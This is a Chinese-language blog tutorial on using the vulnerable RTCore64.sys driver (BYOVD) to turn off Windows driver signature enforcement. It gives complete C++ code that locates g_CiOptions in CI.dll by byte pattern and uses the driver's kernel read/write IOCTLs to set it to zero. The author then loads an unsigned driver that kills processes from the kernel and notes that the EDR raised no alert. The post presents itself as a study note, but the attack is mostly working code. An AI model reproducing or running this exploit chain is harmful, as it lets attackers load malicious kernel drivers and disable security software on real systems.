Windows内核攻防—利用RTCore64驱动绕过Windows签名校验

前言

好久没有发过文章了,难得今天有空,顺手发表记录一下最近的学习。

众所周知,Windows加载驱动会验证驱动是否有微软的签名,这也就是是所谓的DSE机制。每次我们开机的时候,Windows内核都会加载 CI.dll 中的一个全局变量 g_CiOptions 来判定是否开启DSE机制。那么整体攻击思路就很简单了,借助 BYOVD 进入到内核去修改 g_CiOptions 的值,关闭DSE,从而能够加载我们自己手写的驱动,这也是以前较为流行的攻击手法。

g_CiOptions定位

由于 g_CiOptions 这个全局变量是没有导出的,所以我们只能通过特征码去寻找它的位置。用IDA打开CI.dll,来到 name 页面直接搜 CiInitialize 在CI.dll中的位置。它是 CI.dll 中的一个导出函数,我们通过它来作为切入点。

然后双击进去,发现CiInitialize 函数主要是调用 CipInitialize 函数的。

继续跟进,发现在 CipInitialize 函数里面有一个赋值语句 g_CiOptions = a1 这个就是我们要找的地方。

我们点击 g_CiOptions 然后按下 tab 键切换到汇编查看,可以看到 g_CiOptions = a1 的汇编语句是

复制代码
 mov     cs:g_CiOptions, ecx

机器码如下,机器码也就是我们要找的特征码,注意这里其实89 0D 才是真正的机器码,后面的四个只是偏移量,这个偏移量是机器不稳定的,有可能Windows的一个小更新,这个偏移量就变了,所以偏移量不能作为特征码。

复制代码
89 0D 09 C4 FF FF

所以现在我们 g_CiOptions 的特征码就是 89 0D,但是整个CI.dll 存在太多 89 0D的机器码了,如果只靠这两个,那么很容易找错了。所以此时我们结合 89 0D 的上调语句的机器,来进行结合寻找。

复制代码
48 8B EA                mov     rbp, rdx

所以最终的特征码是,要注意这个特征码只适合Windows11用。

复制代码
0x48 0x8B 0xEA 0x89 0x0D

我又分析了一下Windows10的CI.dll,特征码如下。

复制代码
0x49, 0x8B, 0xE9, 0x89, 0x0D

现在特征码找到了,要如何在内核中定位 g_CiOptions 的位置呢,方法也非常简单。我们通过NtQuerySystemInformation 去枚举内核的所有加载模块,找到 CI.dll 在内核中的地址,然后就从CI.dll的地址开始扫描,直到匹配到特征码就结束,此时找到的就是 g_CiOptions的地址了。

下面是NtQuerySystemInformation 的信息,同样这也是一个未导出的函数。

整体寻找位置代码如下,代码不算复杂,逻辑和上面说的一样。

复制代码
#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 状态码
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

// 查询类别:11代表系统模块信息
constexpr SYSTEM_INFORMATION_CLASS SystemModuleInformation = (SYSTEM_INFORMATION_CLASS)11;

// --- 未文档化结构体定义 ---
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;
    PVOID MappedBase;
    ULONG64 ImageBase;         // 模块加载的基址
    ULONG ImageSize;         // 模块在内存中的大小
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName; // 文件名在 FullPathName 中的起始偏移量
    CHAR FullPathName[256];  // 模块的绝对路径 (ANSI字符串)
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;   // 系统当前加载的模块总数
    RTL_PROCESS_MODULE_INFORMATION Modules[1]; // 模块数组首元素
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

// --- API指针类型定义 ---
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

// 这是一个辅助函数,用于在内存中搜索特征码
// pattern 中允许使用 '?' 作为通配符(忽略该字节的匹配)
// signature: "\x48\x8B\x00\xE8\x00\x00\x00\x00" 
// mask:      "xx?x????" (x代表精确匹配,?代表通配符)
bool DataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) {
    for (; *szMask; ++szMask, ++pData, ++bMask) {
        if (*szMask == 'x' && *pData != *bMask) {
            return false;
        }
    }
    return (*szMask) == 0; // 如果掩码走完都没出错,说明完全匹配
}


ULONG64 FindCiOptionAddress(ULONG64 ciBase)
{
    HMODULE hLocalCi = LoadLibraryExA("C:\\Windows\\System32\\ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!hLocalCi) {
        printf("[-] Error: 无法加载本地 CI.dll, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] Local CI.dll loaded at user-mode address: 0x%p\n", hLocalCi);

    // 3. 获取本地模块的各种头信息,以便知道要扫描多大
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hLocalCi;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hLocalCi + pDosHeader->e_lfanew);
    DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage;
    printf("[+] Image Size to scan: 0x%X bytes\n", imageSize);

    // 4. 定义你的特征码
    //BYTE pattern[] = { 0x48, 0x8B, 0xEA, 0x89, 0x0D }; // 前 5 个固定字节
    BYTE pattern[] = { 0x49, 0x8B, 0xE9, 0x89, 0x0D};
    const char* mask = "xxxxx"; // 简化版,先看能不能搜到这5个字节

    // 5. 开始在【用户态本地内存】中扫描
    printf("[*] 开始执行特征码扫描...\n");
    bool bFound = false;
    ULONGLONG  finalKernelAddress;

    for (DWORD i = 0; i < imageSize - 10; i++) {
        BYTE* currentAddress = (BYTE*)hLocalCi + i;

        if (DataCompare(currentAddress, pattern, mask)) {
            bFound = true;
            printf("[+] 找到匹配特征码!本地内存地址: 0x%p\n", currentAddress);

            // 6. 提取偏移量 (Offset) 
            // 89 0D 后面的 4 个字节就是偏移量
            LONG offset = *(LONG*)(currentAddress + 5);
            printf("[+] 提取出的指令偏移量 (Offset): 0x%X\n", offset);

            // 7. 计算相对虚拟地址 (RVA)
            // nextInstruction RVA = (当前指令地址 - 模块基址) + 指令总长度(9)
            ULONG64  nextInstructionRVA = (ULONG64)((BYTE*)currentAddress - (BYTE*)hLocalCi) + 9;

            // g_CiOptions 的 RVA = nextInstruction RVA + offset
            ULONG64  g_CiOptions_RVA = nextInstructionRVA + offset;
            printf("[+] 计算得出 g_CiOptions 的相对偏移 (RVA): 0x%X\n", g_CiOptions_RVA);

            // 8. 计算最终的内核绝对地址!
            finalKernelAddress = (ULONGLONG)ciBase + (ULONGLONG)g_CiOptions_RVA;
            printf("[!] >>> 终极目标:内核 g_CiOptions 真实绝对地址: 0x%llX <<<\n", finalKernelAddress);

            break; // 找到了就退出循环
        }
    }


    if (!bFound) {
        printf("[-] 扫描结束。未找到特征码!可能是当前系统版本的 CI.dll 特征码改变了。\n");
        return 0;
    }

    FreeLibrary(hLocalCi);
    return finalKernelAddress;

}

int main() {
    // 1. 获取 ntdll.dll 句柄并导出函数
    HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtDll) {
        printf("[-] Failed to load ntdll.dll\n");
        return 1;
    }

    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(hNtDll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {
        printf("[-] Failed to get NtQuerySystemInformation address\n");
        return 1;
    }

    ULONG bufferSize = 0;
    PVOID buffer = nullptr;
    NTSTATUS status;

    ULONG64 CIDLLadress;
    ULONG64 CiOption;

    // 2. 探针调用,获取系统建议的缓冲区大小
    NtQuerySystemInformation(SystemModuleInformation, &bufferSize, 0, &bufferSize);

    // 3. 循环分配足够大的内存
    while (true) {
        buffer = malloc(bufferSize);
        if (!buffer) {
            printf("[-] Memory allocation failed!\n");
            return 1;
        }

        status = NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, &bufferSize);

        if (status == STATUS_INFO_LENGTH_MISMATCH) {
            free(buffer);
            // 如果在这极短的时间内系统加载了新模块导致大小又不够了,增加点余量重试
            bufferSize += 8192;
        }
        else {
            break;
        }
    }

    // 4. 解析并打印模块列表
    if (status == STATUS_SUCCESS) {
        PRTL_PROCESS_MODULES pModules = (PRTL_PROCESS_MODULES)buffer;

        printf("[+] Successfully retrieved system modules.\n");
        printf("[+] Total Modules Loaded: %lu\n\n", pModules->NumberOfModules);

        // 打印表头
        printf("%-18s %-10s %-25s %s\n", "Base Address", "Size", "Module Name", "Full Path");
        printf("------------------------------------------------------------------------------------------\n");

        // 遍历所有模块
        for (ULONG i = 0; i < pModules->NumberOfModules; i++) {
            PRTL_PROCESS_MODULE_INFORMATION moduleInfo = &pModules->Modules[i];

            // 提取纯文件名 (FullPathName + 偏移)
            char* fileName = (char*)moduleInfo->FullPathName + moduleInfo->OffsetToFileName;

            // 格式化输出: 基址、大小(十六进制)、文件名、完整路径

            if (_stricmp(fileName, "CI.dll") == 0) {
                printf("0x%-16p 0x%-8X %-25s %s\n",
                    moduleInfo->ImageBase,
                    moduleInfo->ImageSize,
                    fileName,
                    moduleInfo->FullPathName);
				CIDLLadress = ULONG64(moduleInfo->ImageBase);
                break;
            }
        }

        CiOption = FindCiOptionAddress(CIDLLadress);
    }
    else {
        printf("[-] NtQuerySystemInformation failed with NTSTATUS: 0x%08X\n", status);
    }

    // 5. 释放内存退出
    free(buffer);
    return 0;
}

运行代码找到g_CiOptions 的内核地址是 0xFFFFF807063C7278

可以用 windbg 去验证一下是否正确,windbg 中找到的 g_CiOptions 地址也是 fffff807063c7278,说明我们上面的查找逻辑是对的。

g_CiOptions 修改

既然找到位置了,现在我们来修改g_CiOptions的值。由于 g_CiOptions 在内核里面,我们必须借助 BYOVD 才能进入内核进行修改。RTCore64.sys 就存在可读可写的漏洞,更重要的是这个驱动没有被微软拉黑,甚至一些EDR也可以加载这个驱动!

那么现在思路就简单了,加载RTCore64.sys 去修改 g_CiOptions 的值为00000000,然后再加载自己写的无签名的驱动,最后再把 g_CiOptions 的值改回去,防止 PatchGuard 扫描**。**但是我在测试的时候并没有把g_CiOptions 修改回去,也没有导致蓝屏。

RTCore64.sys 的POC网上找就行,也可以自己写,这里我偷懒就拿了网上的,然后自己修改了一下。

非常简单的一个POC,就是加载 RTCore64.sys 驱动去修改指定内核地址的值。

复制代码
#include <Windows.h>
#include <Psapi.h>
#include <cstdio>


void Con(const char* Message, ...) {
    const auto file = stderr;

    va_list Args;
    va_start(Args, Message);
    std::vfprintf(file, Message, Args);
    std::fputc('\n', file);
    va_end(Args);
}
struct RTCORE64_MSR_READ {
    DWORD Register;
    DWORD ValueHigh;
    DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");

struct RTCORE64_MEMORY_READ {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");

struct RTCORE64_MEMORY_WRITE {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");

static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;

DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    RTCORE64_MEMORY_READ MemoryRead{};
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_READ_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        nullptr);

    return MemoryRead.Value;
}

void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
    RTCORE64_MEMORY_READ MemoryRead{};
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;
    MemoryRead.Value = Value;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_WRITE_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        nullptr);
}

WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}

DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 4, Address);
}

DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
    return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}

void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
    WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
    WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}

unsigned long long getKBAddr() {
    DWORD out = 0;
    DWORD nb = 0;
    PVOID* base = NULL;
    if (EnumDeviceDrivers(NULL, 0, &nb)) {
        base = (PVOID*)malloc(nb);
        if (EnumDeviceDrivers(base, nb, &out)) {
            return (unsigned long long)base[0];
        }
    }
    return NULL;
}

struct Offsets {
    DWORD64 UPIdOffset;
    DWORD64 APLinksOffset;
    DWORD64 TOffset;
};

void MSYS() {
    const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    if (Device == INVALID_HANDLE_VALUE) {
        Con("[!] Unable to obtain a handle to the device object");
        return;
    }
    
    WriteMemoryDWORD64(Device, 0xFFFFF8034AFC7278, 00000000);

    CloseHandle(Device);
}


int main()
{
    MSYS();
    return 0;
}

效果验证

上面的理论说完了,现在我们看一下效果,这里我也自己编写了一个结束进程的驱动。所以整体流程就是加载 RTCore64.sys 去修改 g_CiOptions的值,达到关闭DSE的目的。然后加载自己的驱动进入内核,在内核层面去结束指定进程。

这里可以看到天擎并没有把 RTCore64.sys 拉黑,包括我们自己写的驱动已经POC。

注册驱动服务。

可以看到我们能运行 test1服务,却无法运行 test2服务,这是应为 test2服务指向的驱动是我们自己写的,没有微软签名。

运行POC去修改g_CiOptions的值后,test2服务可以运行,也就是说加载了没有签名的驱动。

此时借助我们的驱动从内核结束指定进程,结束进程之前。

结束进程之后。

到服务端看一下,发现并没有什么告警。

当然天擎肯定不会这么拉跨,猜测是没有配置相关策略导致的。

总结

整体利用逻辑不算复杂,找到 g_CiOptions 特征码 ---> 定位 g_CiOptions位置 ---> 利用BYOVD去修改值 ---> 加载无签名驱动。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关推荐
white-persist2 小时前
【CTF线下赛 AWD】AWD 比赛全维度实战解析:从加固防御到攻击拿旗
网络·数据结构·windows·python·算法·安全·web安全
小云小白2 小时前
OpenCowork 实测:支持本地文件、飞书机器人的 Windows AI 助手(只需配置 Token)
windows·ai助手·oepncowork
武藤一雄11 小时前
C# 引用传递:深度解析 ref 与 out
windows·microsoft·c#·.net·.netcore
qiuyuyiyang16 小时前
MySQL 实验1:Windows 环境下 MySQL5.5 安装与配置
windows·mysql·adb
桌面运维家16 小时前
Windows下VHD虚拟磁盘启动U盘制作指南
windows
资源分享【用爱发电】16 小时前
Windows DLL 文件丢失怎么办?2026一键修复工具 + 图文教程
windows·经验分享
极客小X17 小时前
一键解决dll缺失修复工具+安装使用+修复教程 2026最新版
windows·经验分享
肖恭伟19 小时前
QtCreator Linux ubuntu24.04问题集合
linux·windows·qt
九天轩辕19 小时前
跨平台符号表生成规则详解:Windows/Linux/macOS/OHOS
linux·windows·macos